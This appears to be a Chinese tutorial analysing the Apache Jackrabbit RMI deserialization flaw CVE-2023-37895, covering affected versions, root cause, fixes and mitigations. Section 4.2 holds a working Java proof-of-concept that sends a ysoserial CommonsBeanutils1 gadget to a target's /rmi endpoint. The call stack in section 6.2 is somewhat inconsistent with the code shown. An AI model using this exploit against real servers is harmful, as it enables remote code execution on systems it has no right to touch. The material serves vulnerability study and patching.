Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)
字数 2127 2025-08-24 07:48:10
Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895) 教学文档
1. 漏洞概述
Apache Jackrabbit™ 是一个完全符合 Java 技术 API 内容存储库(JCR)规范(JSR 170 和 JSR 283)的实现。该漏洞存在于 Apache Jackrabbit 的 RMI 远程访问功能中,由于使用了存在安全问题的 commons-beanutils 组件,攻击者可以构造恶意的序列化对象,通过 RMI 服务端口或 Web 服务的 /rmi 路径发送到服务端,导致远程代码执行(RCE)。
2. 受影响版本
- 1.0.0 <= Apache Jackrabbit < 2.20.11
- 2.21.0 <= Apache Jackrabbit < 2.21.18
3. 漏洞原理分析
3.1 漏洞入口
漏洞存在于 Apache Jackrabbit 的远程访问机制中,具体涉及以下关键组件:
-
RMI 服务端点:
- Web 应用中的
/rmi路由对应RemoteBindingServlet - 该 Servlet 负责处理远程存储库请求
- Web 应用中的
-
远程认证机制:
- 客户端通过
SimpleCredentials对象进行认证 SimpleCredentials实现了Serializable接口,可被序列化传输
- 客户端通过
3.2 漏洞触发流程
-
客户端请求:
- 客户端通过
URLRemoteRepository或RMIRemoteRepository连接到服务端 - 构造恶意的
SimpleCredentials对象并调用login()方法
- 客户端通过
-
服务端处理:
- 服务端接收并反序列化
SimpleCredentials对象 - 反序列化过程中触发 Commons Beanutils 的反序列化漏洞链
- 服务端接收并反序列化
-
RCE 触发:
- 通过精心构造的
SimpleCredentials对象的attributes属性 - 利用 Commons Beanutils 的
PropertyUtils相关链实现任意代码执行
- 通过精心构造的
3.3 关键代码分析
3.3.1 RemoteBindingServlet 处理逻辑
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("application/octet-stream");
ObjectOutputStream output = new ObjectOutputStream(response.getOutputStream());
output.writeObject(RemoteObject.toStub(getRemoteRepository()));
output.flush();
}
3.3.2 SimpleCredentials 类结构
public final class SimpleCredentials implements Credentials {
private final String userID;
private final char[] password;
private final HashMap attributes = new HashMap();
public void setAttribute(String name, Object value) {
if (name == null) {
throw new IllegalArgumentException("name cannot be null");
} else if (value == null) {
this.removeAttribute(name);
} else {
synchronized(this.attributes) {
this.attributes.put(name, value);
}
}
}
}
3.3.3 服务端反序列化点
public RemoteSession login(Credentials credentials, String workspace)
throws RepositoryException, RemoteException {
try {
Session session = repository.login(credentials, workspace);
return getFactory().getRemoteSession(session);
} catch (RepositoryException ex) {
throw getRepositoryException(ex);
}
}
4. 漏洞利用
4.1 环境搭建
- 下载受影响版本的 Apache Jackrabbit (如 2.20.10)
- 使用 Tomcat 部署 web 应用
- 确保 commons-beanutils 在类路径中
4.2 利用代码示例
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import ysoserial.payloads.ObjectPayload;
import javax.jcr.SimpleCredentials;
public class Exploit {
public static void main(String[] args) throws Exception {
// 使用 ysoserial 生成 CommonsBeanutils1 利用链
Class<? extends ObjectPayload> payloadClass =
ObjectPayload.Utils.getPayloadClass("CommonsBeanutils1");
ObjectPayload payload = payloadClass.newInstance();
Object gadget = payload.getObject("calc");
// 构造恶意 SimpleCredentials
SimpleCredentials creds = new SimpleCredentials("admin", "admin".toCharArray());
creds.setAttribute("admin", gadget);
// 连接到目标并触发漏洞
URLRemoteRepository repo = new URLRemoteRepository(
"http://target:8080/jackrabbit/rmi");
repo.login(creds);
}
}
4.3 利用条件
- 目标系统运行受影响版本的 Apache Jackrabbit
- RMI 服务或 /rmi Web 端点可访问
- 类路径中包含 commons-beanutils 组件
5. 漏洞修复
5.1 官方修复方案
在 2.20.11 和 2.21.18 版本中,官方移除了对 commons-beanutils 的依赖:
<!-- 修复版本中移除了以下依赖 -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
</dependency>
5.2 临时缓解措施
-
升级到安全版本:
- 2.20.11 或更高版本
- 2.21.18 或更高版本
-
如果无法立即升级:
- 限制对 RMI 端口和 /rmi 端点的访问
- 使用防火墙规则限制访问来源
- 移除或替换 commons-beanutils 组件
6. 深入技术分析
6.1 反序列化利用链
漏洞利用 Commons Beanutils 的反序列化链,关键节点:
- 起点:
SimpleCredentials的attributes(HashMap) - 利用链:
HashMap.readObject()PriorityQueue.readObject()BeanComparator.compare()PropertyUtils.getProperty()TemplatesImpl.getOutputProperties()
- 最终执行:通过
TemplatesImpl加载恶意字节码
6.2 函数调用栈
典型攻击时的调用栈:
Runtime.exec()
TemplatesImpl.newTransformer()
BeanComparator.compare()
PriorityQueue.heapify()
HashMap.readObject()
SimpleCredentials.readObject()
RemoteBindingServlet.doGet()
7. 参考资源
- 官方漏洞公告:https://nvd.nist.gov/vuln/detail/CVE-2023-37895
- Apache Jackrabbit 项目:https://github.com/apache/jackrabbit
- 修复对比:https://github.com/apache/jackrabbit/compare/jackrabbit-2.20.10...jackrabbit-2.20.11
8. 总结
CVE-2023-37895 是一个典型的 Java 反序列化漏洞,通过 Apache Jackrabbit 的 RMI 接口实现远程代码执行。漏洞利用的关键在于:
- 服务端无条件信任客户端提供的
SimpleCredentials对象 - 存在危险的反序列化组件 (commons-beanutils)
- 缺乏对反序列化对象的有效验证
开发人员应及时升级到安全版本,并遵循安全最佳实践,如最小化依赖、输入验证等,以防止此类漏洞的发生。